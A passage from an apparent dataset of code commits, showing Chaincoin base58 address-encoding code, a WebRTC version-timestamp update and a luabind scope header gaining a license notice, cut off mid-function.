zeroes++;\n psz++;\n }\n \/\/ Allocate enough space in big-endian base256 representation.\n int size = strlen(psz) * 733 \/1000 + 1; \/\/ log(58) \/ log(256), rounded up.\n std::vector<unsigned char> b256(size);\n \/\/ Process the characters.\n while (*psz && !isspace(*psz)) {\n \/\/ Decode base58 character\n const char* ch = strchr(pszBase58, *psz);\n if (ch == nullptr)\n return false;\n \/\/ Apply \"b256 = b256 * 58 + ch\".\n int carry = ch - pszBase58;\n int i = 0;\n for (std::vector<unsigned char>::reverse_iterator it = b256.rbegin(); (carry != 0 || i < length) && (it != b256.rend()); ++it, ++i) {\n carry += 58 * (*it);\n *it = carry % 256;\n carry \/= 256;\n }\n assert(carry == 0);\n length = i;\n psz++;\n }\n \/\/ Skip trailing spaces.\n while (isspace(*psz))\n psz++;\n if (*psz != 0)\n return false;\n \/\/ Skip leading zeroes in b256.\n std::vector<unsigned char>::iterator it = b256.begin() + (size - length);\n while (it != b256.end() && *it == 0)\n it++;\n \/\/ Copy result into output vector.\n vch.reserve(zeroes + (b256.end() - it));\n vch.assign(zeroes, 0x00);\n while (it != b256.end())\n vch.push_back(*(it++));\n return true;\n}\n\nstd::string EncodeBase58(const unsigned char* pbegin, const unsigned char* pend)\n{\n \/\/ Skip & count leading zeroes.\n int zeroes = 0;\n int length = 0;\n while (pbegin != pend && *pbegin == 0) {\n pbegin++;\n zeroes++;\n }\n \/\/ Allocate enough space in big-endian base58 representation.\n int size = (pend - pbegin) * 138 \/ 100 + 1; \/\/ log(256) \/ log(58), rounded up.\n std::vector<unsigned char> b58(size);\n \/\/ Process the bytes.\n while (pbegin != pend) {\n int carry = *pbegin;\n int i = 0;\n \/\/ Apply \"b58 = b58 * 256 + ch\".\n for (std::vector<unsigned char>::reverse_iterator it = b58.rbegin(); (carry != 0 || i < length) && (it != b58.rend()); it++, i++) {\n carry += 256 * (*it);\n *it = carry % 58;\n carry \/= 58;\n }\n\n assert(carry == 0);\n length = i;\n pbegin++;\n }\n \/\/ Skip leading zeroes in base58 result.\n std::vector<unsigned char>::iterator it = b58.begin() + (size - length);\n while (it != b58.end() && *it == 0)\n it++;\n \/\/ Translate the result into a string.\n std::string str;\n str.reserve(zeroes + (b58.end() - it));\n str.assign(zeroes, '1');\n while (it != b58.end())\n str += pszBase58[*(it++)];\n return str;\n}\n\nstd::string EncodeBase58(const std::vector<unsigned char>& vch)\n{\n return EncodeBase58(vch.data(), vch.data() + vch.size());\n}\n\nbool DecodeBase58(const std::string& str, std::vector<unsigned char>& vchRet)\n{\n return DecodeBase58(str.c_str(), vchRet);\n}\n\nstd::string EncodeBase58Check(const std::vector<unsigned char>& vchIn)\n{\n \/\/ add 4-byte hash check to the end\n std::vector<unsigned char> vch(vchIn);\n uint256 hash = Hash(vch.begin(), vch.end());\n vch.insert(vch.end(), (unsigned char*)&hash, (unsigned char*)&hash + 4);\n return EncodeBase58(vch);\n}\n\nbool DecodeBase58Check(const char* psz, std::vector<unsigned char>& vchRet)\n{\n if (!DecodeBase58(psz, vchRet) ||\n (vchRet.size() < 4)) {\n vchRet.clear();\n return false;\n }\n \/\/ re-calculate the checksum, ensure it matches the included 4-byte checksum\n uint256 hash = Hash(vchRet.begin(), vchRet.end() - 4);\n if (memcmp(&hash, &vchRet.end()[-4], 4) != 0) {\n vchRet.clear();\n return false;\n }\n vchRet.resize(vchRet.size() - 4);\n return true;\n}\n\nbool DecodeBase58Check(const std::string& str, std::vector<unsigned char>& vchRet)\n{\n return DecodeBase58Check(str.c_str(), vchRet);\n}\n\nCBase58Data::CBase58Data()\n{\n vchVersion.clear();\n vchData.clear();\n}\n\nvoid CBase58Data::SetData(const std::vector<unsigned char>& vchVersionIn, const void* pdata, size_t nSize)\n{\n vchVersion = vchVersionIn;\n vchData.resize(nSize);\n if (!vchData.empty())\n memcpy(vchData.data(), pdata, nSize);\n}\n\nvoid CBase58Data::SetData(const std::vector<unsigned char>& vchVersionIn, const unsigned char* pbegin, const unsigned char* pend)\n{\n SetData(vchVersionIn, (void*)pbegin, pend - pbegin);\n}\n\nbool CBase58Data::SetString(const char* psz, unsigned int nVersionBytes)\n{\n std::vector<unsigned char> vchTemp;\n bool rc58 = DecodeBase58Check(psz, vchTemp);\n if ((!rc58) || (vchTemp.size() < nVersionBytes)) {\n vchData.clear();\n vchVersion.clear();\n return false;\n }\n vchVersion.assign(vchTemp.begin(), vchTemp.begin() + nVersionBytes);\n vchData.resize(vchTemp.size() - nVersionBytes);\n if (!vchData.empty())\n memcpy(vchData.data(), vchTemp.data() + nVersionBytes, vchData.size());\n memory_cleanse(vchTemp.data(), vchTemp.size());\n return true;\n}\n\nbool CBase58Data::SetString(const std::string& str)\n{\n return SetString(str.c_str());\n}\n\nstd::string CBase58Data::ToString() const\n{\n std::vector<unsigned char> vch = vchVersion;\n vch.insert(vch.end(), vchData.begin(), vchData.end());\n return EncodeBase58Check(vch);\n}\n\nint CBase58Data::CompareTo(const CBase58Data& b58) const\n{\n if (vchVersion < b58.vchVersion)\n return -1;\n if (vchVersion > b58.vchVersion)\n return 1;\n if (vchData < b58.vchData)\n return -1;\n if (vchData > b58.vchData)\n return 1;\n return 0;\n}\n\nnamespace\n{\n\/** base58-encoded Chaincoin addresses.\n * Public-key-hash-addresses have version 0 (or 111 testnet).\n * The data vector contains RIPEMD160(SHA256(pubkey)), where pubkey is the serialized public key.\n * Script-hash-addresses have version 5 (or 196 testnet).\n * The data vector contains RIPEMD160(SHA256(cscript)), where cscript is the serialized redemption script.\n *\/\nclass CBitcoinAddress : public CBase58Data {\npublic:\n bool Set(const CKeyID &id);\n bool Set(const CScriptID &id);\n bool Set(const CTxDestination &dest);\n bool IsValid() const;\n bool IsValid(const CChainParams ¶ms) const;\n\n CBitcoinAddress() {}\n CBitcoinAddress(const CTxDestination &dest) { Set(dest); }\n CBitcoinAddress(const std::string& strAddress) { SetString(strAddress); }\n CBitcoinAddress(const char* pszAddress) { SetString(pszAddress); }\n\n CTxDestination Get() const;\n};\n\nclass CBitcoinAddressVisitor : public boost::static_visitor<bool>\n{\nprivate:\n CBitcoinAddress* addr;\n\npublic:\n explicit CBitcoinAddressVisitor(CBitcoinAddress* addrIn) : addr(addrIn) {}\n\n bool operator()(const CKeyID& id) const { return addr->Set(id); }\n bool operator()(const CScriptID& id) const { return addr->Set(id); }\n bool operator()(const CNoDestination& no) const { return false; }\n};\n\n} \/\/ namespace\n\nbool CBitcoinAddress::Set(const CKeyID& id)\n{\n SetData(Params().Base58Prefix(CChainParams::PUBKEY_ADDRESS), &id, 20);\n return true;\n}\n\nbool CBitcoinAddress::Set(const CScriptID& id)\n{\n SetData(Params().Base58Prefix(CChainParams::SCRIPT_ADDRESS), &id, 20);\n return true;\n}\n\nbool CBitcoinAddress::Set(const CTxDestination& dest)\n{\n return boost::apply_visitor(CBitcoinAddressVisitor(this), dest);\n}\n\nbool CBitcoinAddress::IsValid() const\n{\n return IsValid(Params());\n}\n\nbool CBitcoinAddress::IsValid(const CChainParams& params) const\n{\n bool fCorrectSize = vchData.size() == 20;\n bool fKnownVersion = vchVersion == params.Base58Prefix(CChainParams::PUBKEY_ADDRESS) ||\n vchVersion == params.Base58Prefix(CChainParams::SCRIPT_ADDRESS);\n return fCorrectSize && fKnownVersion;\n}\n\nCTxDestination CBitcoinAddress::Get() const\n{\n if (!IsValid())\n return CNoDestination();\n uint160 id;\n memcpy(&id, vchData.data(), 20);\n if (vchVersion == Params().Base58Prefix(CChainParams::PUBKEY_ADDRESS))\n return CKeyID(id);\n else if (vchVersion == Params().Base58Prefix(CChainParams::SCRIPT_ADDRESS))\n return CScriptID(id);\n else\n return CNoDestination();\n}\n\nvoid CBitcoinSecret::SetKey(const CKey& vchSecret)\n{\n assert(vchSecret.IsValid());\n SetData(Params().Base58Prefix(CChainParams::SECRET_KEY), vchSecret.begin(), vchSecret.size());\n if (vchSecret.IsCompressed())\n vchData.push_back(1);\n}\n\nCKey CBitcoinSecret::GetKey()\n{\n CKey ret;\n assert(vchData.size() >= 32);\n ret.Set(vchData.begin(), vchData.begin() + 32, vchData.size() > 32 && vchData[32] == 1);\n return ret;\n}\n\nbool CBitcoinSecret::IsValid() const\n{\n bool fExpectedFormat = vchData.size() == 32 || (vchData.size() == 33 && vchData[32] == 1);\n bool fCorrectVersion = vchVersion == Params().Base58Prefix(CChainParams::SECRET_KEY);\n return fExpectedFormat && fCorrectVersion;\n}\n\nbool CBitcoinSecret::SetString(const char* pszSecret)\n{\n return CBase58Data::SetString(pszSecret) && IsValid();\n}\n\nbool CBitcoinSecret::SetString(const std::string& strSecret)\n{\n return SetString(strSecret.c_str());\n}\n\nstd::string EncodeDestination(const CTxDestination& dest)\n{\n CBitcoinAddress addr(dest);\n if (!addr.IsValid()) return \"\";\n return addr.ToString();\n}\n\nCTxDestination DecodeDestination(const std::string& str)\n{\n return CBitcoinAddress(str).Get();\n}\n\nbool IsValidDestinationString(const std::string& str, const CChainParams& params)\n{\n return CBitcoinAddress(str).IsValid(params);\n}\n\nbool IsValidDestinationString(const std::string& str)\n{\n return CBitcoinAddress(str).IsValid();\n}\n<|endoftext|>"} {"text":"<commit_before>\/*\n * Copyright (c) 2020 The WebRTC project authors. All Rights Reserved.\n *\n * Use of this source code is governed by a BSD-style license\n * that can be found in the LICENSE file in the root of the source\n * tree. An additional intellectual property rights grant can be found\n * in the file PATENTS. All contributing project authors may\n * be found in the AUTHORS file in the root of the source tree.\n *\/\n\n#include \"call\/version.h\"\n\nnamespace webrtc {\n\n\/\/ The timestamp is always in UTC.\nconst char* const kSourceTimestamp = \"WebRTC source stamp 2021-01-09T04:01:32\";\n\nvoid LoadWebRTCVersionInRegister() {\n \/\/ Using volatile to instruct the compiler to not optimize `p` away even\n \/\/ if it looks unused.\n const char* volatile p = kSourceTimestamp;\n static_cast<void>(p);\n}\n\n} \/\/ namespace webrtc\n<commit_msg>Update WebRTC code version (2021-01-11T04:01:55).<commit_after>\/*\n * Copyright (c) 2020 The WebRTC project authors. All Rights Reserved.\n *\n * Use of this source code is governed by a BSD-style license\n * that can be found in the LICENSE file in the root of the source\n * tree. An additional intellectual property rights grant can be found\n * in the file PATENTS. All contributing project authors may\n * be found in the AUTHORS file in the root of the source tree.\n *\/\n\n#include \"call\/version.h\"\n\nnamespace webrtc {\n\n\/\/ The timestamp is always in UTC.\nconst char* const kSourceTimestamp = \"WebRTC source stamp 2021-01-11T04:01:55\";\n\nvoid LoadWebRTCVersionInRegister() {\n \/\/ Using volatile to instruct the compiler to not optimize `p` away even\n \/\/ if it looks unused.\n const char* volatile p = kSourceTimestamp;\n static_cast<void>(p);\n}\n\n} \/\/ namespace webrtc\n<|endoftext|>"} {"text":"<commit_before>#ifndef LUABIND_SCOPE_HPP_INCLUDED\n#define LUABIND_SCOPE_HPP_INCLUDED\n\n#include <vector>\n#include <string>\n#include <stack>\n\n#include <luabind\/detail\/ref.hpp>\n\nnamespace luabind\n{\n\tnamespace detail\n\t{\n\t\tstruct scoped_sequence;\n\n\t\tstruct scoped_object\n\t\t{\n\t\t\tscoped_object()\n\t\t\t{\n\t\t\t}\n\n\t\t\tvirtual ~scoped_object() {}\n\n\t\t\tvirtual void commit(lua_State*) const = 0;\n\t\t\tvirtual scoped_object* clone() const = 0;\n\n\t\t\tscoped_sequence operator,(const scoped_object& rhs) const;\n\t\t};\n\n\t\tstruct scoped_sequence : scoped_object\n\t\t{\n\t\t\tscoped_sequence(scoped_object* a, scoped_object* b)\n\t\t\t{\n\t\t\t\tthis->objects.push_back(a);\n\t\t\t\tthis->objects.push_back(b);\n\t\t\t}\n\n\t\t\tscoped_sequence() {}\n\n\t\t\tvirtual ~scoped_sequence()\n\t\t\t{\n\t\t\t\t\tfor (std::vector<scoped_object*>\n\t\t\t\t\t\t\t::const_iterator i = this->objects.begin()\n\t\t\t\t\t\t\t\t\t\t\t\t; i != this->objects.end()\n\t\t\t\t\t\t\t\t\t\t\t\t; ++i)\n\t\t\t\t\t{\n\t\t\t\t\t\tscoped_object* ptr = *i;\n\t\t\t\t\t\tdelete ptr;\n\t\t\t\t\t}\n\t\t\t}\n\n\t\t\tscoped_sequence& operator,(const scoped_object& rhs)\n\t\t\t{\n\t\t\t\tobjects.push_back(rhs.clone());\n\t\t\t\treturn *this;\n\t\t\t}\n\n\t\t\tvirtual scoped_object* clone() const\n\t\t\t{\n\t\t\t\tscoped_sequence* copy = new scoped_sequence();\n\t\t\t\tcopy->objects.swap(this->objects);\n\t\t\t\treturn copy;\n\t\t\t}\n\n\t\t\tvirtual void commit(lua_State* L) const\n\t\t\t{\n\t\t\t\tfor (std::vector<scoped_object*>\n\t\t\t\t\t\t\t::const_iterator i = this->objects.begin()\n\t\t\t\t\t\t\t\t\t\t\t\t; i != this->objects.end()\n\t\t\t\t\t\t\t\t\t\t\t\t; ++i)\n\t\t\t\t{\n\t\t\t\t\tscoped_object* ptr = *i;\n\t\t\t\t\tptr->commit(L);\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tmutable std::vector<scoped_object*> objects;\n\t\t};\n\n\t\tinline scoped_sequence scoped_object::operator,(const scoped_object& rhs) const\n\t\t{\n\t\t\treturn scoped_sequence(this->clone(), rhs.clone());\n\t\t}\n\t}\n\/*\n\tdef(..),\n\tdef(..)\n\n\tfunction_obj1, function_obj2\n\tfunction_obj1.push_back(function_obj2.doclone());\n*\/\n\tstruct scope_stack\n\t{\n\t\tstd::stack<int> scopes;\n\n\t\tstatic int gc(lua_State* L)\n\t\t{\n\t\t\tscope_stack* scopes = static_cast<scope_stack*>(\n\t\t\t\tlua_touserdata(L, -1)\n\t\t\t);\n\n\t\t\tassert(scopes->scopes.size() == 1);\n\n\t\t\tint top = scopes->scopes.top();\n\t\t\tscopes->scopes.pop();\n\n\t\t\tdetail::unref(L, top);\n\n\t\t\tscopes->~scope_stack();\n\n\t\t\treturn 0;\n\t\t}\n\n\t\tstatic int top(lua_State* L)\n\t\t{\n\t\t\tlua_pushstring(L, \"__luabind_scope_stack\");\n\t\t\tlua_gettable(L, LUA_REGISTRYINDEX);\n\n\t\t\tscope_stack* scopes = static_cast<scope_stack*>(\n\t\t\t\tlua_touserdata(L, -1)\n\t\t\t);\n\n\t\t\tlua_pop(L, 1);\n\n\t\t\treturn scopes->scopes.top();\n\t\t}\n\n\t\tstatic void push(lua_State* L)\n\t\t{\n\t\t\tlua_pushstring(L, \"__luabind_scope_stack\");\n\t\t\tlua_gettable(L, LUA_REGISTRYINDEX);\n\n\t\t\tscope_stack* scopes = static_cast<scope_stack*>(\n\t\t\t\tlua_touserdata(L, -1)\n\t\t\t);\n\n\t\t\tlua_pop(L, 1);\n\n\t\t\treturn scopes->scopes.push(detail::ref(L));\n\t\t}\n\n\t\tstatic void pop(lua_State* L)\n\t\t{\n\t\t\tlua_pushstring(L, \"__luabind_scope_stack\");\n\t\t\tlua_gettable(L, LUA_REGISTRYINDEX);\n\n\t\t\tscope_stack* scopes = static_cast<scope_stack*>(\n\t\t\t\tlua_touserdata(L, -1)\n\t\t\t);\n\n\t\t\tlua_pop(L, 1);\n\n\t\t\tint n = scopes->scopes.top();\n\t\t\tscopes->scopes.pop();\n\t\t\tdetail::unref(L, n);\n\t\t}\n\t};\n\n\tclass scope : public detail::scoped_object\n\t{\n\tpublic:\n\n\t\tstatic void init(lua_State* L)\n\t\t{\n\t\t\tlua_pushstring(L, \"__luabind_scope_stack\");\n\t\t\tlua_gettable(L, LUA_REGISTRYINDEX);\n\n\t\t\tscope_stack* scopes = static_cast<scope_stack*>(\n\t\t\t\tlua_touserdata(L, -1)\n\t\t\t);\n\n\t\t\tlua_pop(L, 1);\n\n\t\t\tif (scopes == 0)\n\t\t\t{\n\t\t\t\tscopes = static_cast<scope_stack*>(\n\t\t\t\t\tlua_newuserdata(L, sizeof(scope_stack))\n\t\t\t\t);\n\n\t\t\t\tlua_pushstring(L, \"__luabind_scope_stack\");\n\t\t\t\tlua_pushvalue(L, -2);\n\t\t\t\tlua_settable(L, LUA_REGISTRYINDEX);\n\n\t\t\t\tnew (scopes) scope_stack();\n\n\t\t\t\tlua_pushvalue(L, LUA_GLOBALSINDEX);\n\t\t\t\tscopes->scopes.push(detail::ref(L));\n\n\t\t\t\tlua_newtable(L);\n\t\t\t\tlua_pushstring(L, \"__gc\");\n\t\t\t\tlua_pushcclosure(L, scope_stack::gc, 0);\n\t\t\t\tlua_settable(L, -3);\n\t\t\t\tlua_setmetatable(L, -2);\n\n\t\t\t\tlua_pop(L, 1);\n\t\t\t}\n\t\t}\n\n\t\tscope(lua_State* L, const char* name)\n\t\t\t: m_state(L)\n\t\t\t, m_name(name)\n\t\t{\n\t\t\tinit(L);\n\t\t}\n\n\t\tscope(const char* name)\n\t\t\t: m_state(0)\n\t\t\t, m_name(name)\n\t\t{\n\t\t}\n\n\t\tvirtual ~scope()\n\t\t{\n\t\t\tfor (std::vector<scoped_object*>\n\t\t\t\t\t::const_iterator i = m_children.begin()\n\t\t\t\t\t\t\t\t\t\t; i != m_children.end()\n\t\t\t\t\t\t\t\t\t\t; ++i)\n\t\t\t{\n\t\t\t\tscoped_object* ptr = *i;\n\t\t\t\tdelete ptr;\n\t\t\t}\n\t\t}\n\n\t\tscope& operator[](const detail::scoped_object& x)\n\t\t{\n\t\t\tm_children.push_back(x.clone());\n\n\t\t\tif (m_state)\n\t\t\t{\n\t\t\t\tthis->commit(m_state);\n\n\t\t\t\tfor (std::vector<scoped_object*>\n\t\t\t\t\t\t::const_iterator i = m_children.begin()\n\t\t\t\t\t\t\t\t\t\t\t; i != m_children.end()\n\t\t\t\t\t\t\t\t\t\t\t; ++i)\n\t\t\t\t{\n\t\t\t\t\tscoped_object* ptr = *i;\n\t\t\t\t\tdelete ptr;\n\t\t\t\t}\n\n\t\t\t\tm_children.clear();\n\t\t\t}\n\n\t\t\treturn *this;\n\t\t}\n\n\t\tvirtual detail::scoped_object* clone() const\n\t\t{\n\t\t\tstd::vector<detail::scoped_object*> tmp;\n\t\t\ttmp.swap(this->m_children);\n\t\t\tscope* copy = new scope(*this);\n\t\t\tcopy->m_children.swap(tmp);\n\t\t\treturn copy;\n\t\t}\n\n\t\tvirtual void commit(lua_State* L) const\n\t\t{\n\t\t\tinit(L);\n\n\t\t\tdetail::getref(L, scope_stack::top(L)); \/\/ get current scope\n\t\t\tlua_pushstring(L, m_name.c_str());\n\t\t\tlua_gettable(L, -2);\n\t\t\tlua_remove(L, -2); \/\/ remove scope\n\n\t\t\tif (lua_isnil(L, -1))\n\t\t\t{\n\t\t\t\tlua_pop(L, 1);\n\n\t\t\t\tlua_newtable(L);\n\t\t\t\tdetail::getref(L, scope_stack::top(L));\n\t\t\t\tlua_pushstring(L, m_name.c_str());\n\t\t\t\tlua_pushvalue(L, -3);\n\t\t\t\tlua_settable(L, -3);\n\t\t\t\tlua_pop(L, 1);\n\t\t\t}\n\n\t\t\tscope_stack::push(L);\n\n\t\t\tfor (std::vector<detail::scoped_object*>\n\t\t\t\t\t\t::const_iterator i = m_children.begin()\n\t \t\t\t\t\t\t\t\t\t\t; i != m_children.end()\n\t\t\t\t\t\t\t\t\t\t\t; ++i)\n\t\t\t{\n\t\t\t\tscoped_object* ptr = *i;\n\t\t\t\tptr->commit(L);\n\t\t\t}\n\n\t\t\tscope_stack::pop(L);\n\t\t}\n\n\tprivate:\n\n\t\tmutable std::vector<scoped_object*> m_children;\n\t\tlua_State* m_state;\n\t\tstd::string m_name;\n\t};\n\n\ttypedef scope namespace_;\n}\n\/*\nscope dwarf(\"dwarf\");\n\ndwarf\n[\n\tdef(..),\n\tdef(..),\n\n\tclass<vec3>(\"vec3\")\n\t\t.def(constructor<float,float,float>())\n\t\t.def(self + self)\n\t\t.def(self - self)\n\t\t.def(self == self)\n\t\t,\n\n\tdef(\"getDirection\", &get_direction),\n\tdef(\"getPosition\", &get_position)\n];\n\ndwarf\n[\n\tdef(..)\n];\n\ndwarf.commit(L);\n\n*\/\n#endif\n\n<commit_msg>*** empty log message ***<commit_after>\/\/ Copyright (c) 2003 Daniel Wallin and Arvid Norberg\n\n\/\/ Permission is hereby granted, free of charge, to any person obtaining a\n\/\/ copy of this software and associated documentation files (the \"Software\"),\n\/\/ to deal in the Software without restriction, including without limitation\n\/\/ the rights to use, copy, modify, merge, publish, distribute, sublicense,\n\/\/ and\/or sell copies of the Software, and to permit persons to whom the\n\/\/ Software is furnished to do so, subject to the following conditions:\n\n\/\/ The above copyright notice and this permission notice shall be included\n\/\/ in all copies or substantial portions of the Software.\n\n\/\/ THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF\n\/\/ ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED\n\/\/ TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A\n\/\/ PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT\n\/\/ SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR\n\/\/ ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN\n\/\/ ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n\/\/ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE\n\/\/ OR OTHER DEALINGS IN THE SOFTWARE.\n\n\n#ifndef LUABIND_SCOPE_HPP_INCLUDED\n#define LUABIND_SCOPE_HPP_INCLUDED\n\n#include <vector>\n#include <string>\n#include <stack>\n\n#include <luabind\/detail\/ref.hpp>\n\nnamespace luabind\n{\n\tnamespace detail\n\t{\n\t\tstruct scoped_sequence;\n\n\t\tstruct scoped_object\n\t\t{\n\t\t\tscoped_object()\n\t\t\t{\n\t\t\t}\n\n\t\t\tvirtual ~scoped_object() {}\n\n\t\t\tvirtual void commit(lua_State*) const = 0;\n\t\t\tvirtual scoped_object* clone() const = 0;\n\n\t\t\tscoped_sequence operator,(const scoped_object& rhs) const;\n\t\t};\n\n\t\tstruct scoped_sequence : scoped_object\n\t\t{\n\t\t\tscoped_sequence(scoped_object* a, scoped_object* b)\n\t\t\t{\n\t\t\t\tthis->objects.push_back(a);\n\t\t\t\tthis->objects.push_back(b);\n\t\t\t}\n\n\t\t\tscoped_sequence() {}\n\n\t\t\tvirtual ~scoped_sequence()\n\t\t\t{\n\t\t\t\t\tfor (std::vector<scoped_object*>\n\t\t\t\t\t\t\t::const_iterator i = this->objects.begin()\n\t\t\t\t\t\t\t\t\t\t\t\t; i != this->objects.end()\n\t\t\t\t\t\t\t\t\t\t\t\t; ++i)\n\t\t\t\t\t{\n\t\t\t\t\t\tscoped_object* ptr = *i;\n\t\t\t\t\t\tdelete ptr;\n\t\t\t\t\t}\n\t\t\t}\n\n\t\t\tscoped_sequence& operator,(const scoped_object& rhs)\n\t\t\t{\n\t\t\t\tobjects.push_back(rhs.clone());\n\t\t\t\treturn *this;\n\t\t\t}\n\n\t\t\tvirtual scoped_object* clone() const\n\t\t\t{\n\t\t\t\tscoped_sequence* copy = new scoped_sequence();\n\t\t\t\tcopy->objects.swap(this->objects);\n\t\t\t\treturn copy;\n\t\t\t}\n\n\t\t\tvirtual void commit(lua_State* L) const\n\t\t\t{\n\t\t\t\tfor (std::vector<scoped_object*>\n\t\t\t\t\t\t\t::const_iterator i = this->objects.begin()\n\t\t\t\t\t\t\t\t\t\t\t\t; i != this->objects.end()\n\t\t\t\t\t\t\t\t\t\t\t\t; ++i)\n\t\t\t\t{\n\t\t\t\t\tscoped_object* ptr = *i;\n\t\t\t\t\tptr->commit(L);\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tmutable std::vector<scoped_object*> objects;\n\t\t};\n\n\t\tinline scoped_sequence scoped_object::operator,(const scoped_object& rhs) const\n\t\t{\n\t\t\treturn scoped_sequence(this->clone(), rhs.clone());\n\t\t}\n\t}\n\t\n\tstruct scope_stack\n\t{\n\t\tstd::stack<int> scopes;\n\n\t\tstatic int gc(lua_State* L)\n\t\t{\n\t\t\tscope_stack* scopes = static_cast<scope_stack*>(\n\t\t\t\tlua_touserdata(L, -1)\n\t\t\t);\n\n\t\t\tassert(scopes->scopes.size() == 1);\n\n\t\t\tint top = scopes->scopes.top();\n\t\t\tscopes->scopes.pop();\n\n\t\t\tdetail::unref(L, top);\n\n\t\t\tscopes->~scope_stack();\n\n\t\t\treturn 0;\n\t\t}\n\n\t\tstatic int top(lua_State* L)\n\t\t{\n\t\t\tlua_pushstring(L, \"__luabind_scope_stack\");\n\t\t\tlua_gettable(L, LUA_REGISTRYINDEX);\n\n\t\t\tscope_stack* scopes = static_cast<scope_stack*>(\n\t\t\t\tlua_touserdata(L, -1)\n\t\t\t);\n\n\t\t\tlua_pop(L, 1);\n\n\t\t\treturn scopes->scopes.top();\n\t\t}\n\n\t\tstatic void push(lua_State* L)\n\t\t{\n\t\t\tlua_pushstring(L, \"__luabind_scope_stack\");\n\t\t\tlua_gettable(L, LUA_REGISTRYINDEX);\n\n\t\t\tscope_stack* scopes = static_cast<scope_stack*>(\n\t\t\t\tlua_touserdata(L, -1)\n\t\t\t);\n\n\t\t\tlua_pop(L, 1);\n\n\t\t\treturn scopes->scopes.push(detail::ref(L));\n\t\t}\n\n\t\tstatic void pop(lua_State* L)\n\t\t{\n\t\t\tlua_pushstring(L, \"__luabind_scope_stack\");\n\t\t\tlua_gettable(L, LUA_REGISTRYINDEX);\n\n\t\t\tscope_stack* scopes = static_cast<scope_stack*>(\n\t\t\t\tlua_touserdata(L, -1)\n\t\t\t);\n\n\t\t\tlua_pop(L, 1);\n\n\t\t\tint n = scopes->scopes.top();\n\t\t\tscopes->scopes.pop();\n\t\t\tdetail::unref(L, n);\n\t\t}\n\t};\n\n\tclass scope : public detail::scoped_object\n\t{\n\tpublic:\n\n\t\tstatic void init(lua_State* L)\n\t\t{\n\t\t\tlua_pushstring(L, \"__luabind_scope_stack\");\n\t\t\tlua_gettable(L, LUA_REGISTRYINDEX);\n\n\t\t\tscope_stack* scopes = static_cast<scope_stack*>(\n\t\t\t\tlua_touserdata(L, -1)\n\t\t\t);\n\n\t\t\tlua_pop(L, 1);\n\n\t\t\tif (scopes == 0)\n\t\t\t{\n\t\t\t\tscopes = static_cast<scope_stack*>(\n\t\t\t\t\tlua_newuserdata(L, sizeof(scope_stack))\n\t\t\t\t);\n\n\t\t\t\tlua_pushstring(L, \"__luabind_scope_stack\");\n\t\t\t\tlua_pushvalue(L, -2);\n\t\t\t\tlua_settable(L, LUA_REGISTRYINDEX);\n\n\t\t\t\tnew (scopes) scope_stack();\n\n\t\t\t\tlua_pushvalue(L, LUA_GLOBALSINDEX);\n\t\t\t\tscopes->scopes.push(detail::ref(L));\n\n\t\t\t\tlua_newtable(L);\n\t\t\t\tlua_pushstring(L, \"__gc\");\n\t\t\t\tlua_pushcclosure(L, scope_stack::gc, 0);\n\t\t\t\tlua_settable(L, -3);\n\t\t\t\tlua_setmetatable(L, -2);\n\n\t\t\t\tlua_pop(L, 1);\n\t\t\t}\n\t\t}\n\n\t\tscope(lua_State* L, const char* name)\n\t\t\t: m_state(L)\n\t\t\t, m_name(name)\n\t\t{\n\t\t\tinit(L);\n\t\t}\n\n\t\tscope(const char* name)\n\t\t\t: m_state(0)\n\t\t\t, m_name(name)\n\t\t{\n\t\t}\n\n\t\tvirtual ~scope()\n\t\t{\n\t\t\tfor (std::vector<scoped_object*>\n\t\t\t\t\t::const_iterator i = m_children.begin()\n\t\t\t\t\t\t\t\t\t\t; i != m_children.end()\n\t\t\t\t\t\t\t\t\t\t; ++i)\n\t\t\t{\n\t\t\t\tscoped_object* ptr = *i;\n\t\t\t\tdelete ptr;\n\t\t\t}\n\t\t}\n\n\t\tscope& operator[](const detail::scoped_object& x)\n\t\t{\n\t\t\tm_children.push_back(x.clone());\n\n\t\t\tif (m_state)\n\t\t\t{\n\t\t\t\tthis->commit(m_state);\n\n\t\t\t\tfor (std::vector<scoped_object*>\n\t\t\t\t\t\t::const_iterator i = m_children.begin()\n\t\t\t\t\t\t\t\t\t\t\t; i != m_children.end()\n\t\t\t\t\t\t\t\t\t\t\t; ++i)\n\t\t\t\t{\n\t\t\t\t\tscoped_object* ptr = *i;\n\t\t\t\t\tdelete ptr;\n\t\t\t\t}\n\n\t\t\t\tm_children.clear();\n\t\t\t}\n\n\t\t\treturn *this;\n\t\t}\n\n\t\tvirtual detail::scoped_object* clone() const\n\t\t{\n\t\t\tstd::vector<detail::scoped_object*> tmp;\n\t\t\ttmp.swap(this->m_children);\n\t\t\tscope* copy = new scope(*this);\n\t\t\tcopy->m_children.swap(tmp);\n\t\t\treturn copy;\n\t\t}\n\n\t\tvirtual void commit(lua_State* L) const\n\t\t{\n\t\t\tinit(L);\n\n\t\t\tdetail::getref(L, scope_stack::top(L)); \/\/ get current scope\n\t\t\tlua_pushstring(L, m_name.c_str());\n\t\t\tlua_gettable(L, -2);\n\t\t\tlua_remove(L, -2); \/\/ remove scope\n\n\t\t\tif (lua_isnil(L, -1))\n\t\t\t{\n\t\t\t\tlua_pop(L, 1);\n\n\t\t\t\tlua_newtable(L);\n\t\t\t\tdetail::getref(L, scope_stack::top(L));\n\t\t\t\tlua_pushstring(L, m_name.c_str());\n\t\t\t\tlua_pushvalue(L, -3);\n\t\t\t\tlua_settable(L, -3);\n\t\t\t\tlua_pop(L, 1);\n\t\t\t}\n\n\t\t\tscope_stack::push(L);\n\n\t\t\tfor (std::vector<detail::scoped_object*>\n\t\t\t\t\t\t::const_iterator i = m_children.begin()\n\t \t\t\t\t\t\t\t\t\t\t; i != m_children.end()\n\t\t\t\t\t\t\t\t\t\t\t; ++i)\n\t\t\t{\n\t\t\t\tscoped_object* ptr = 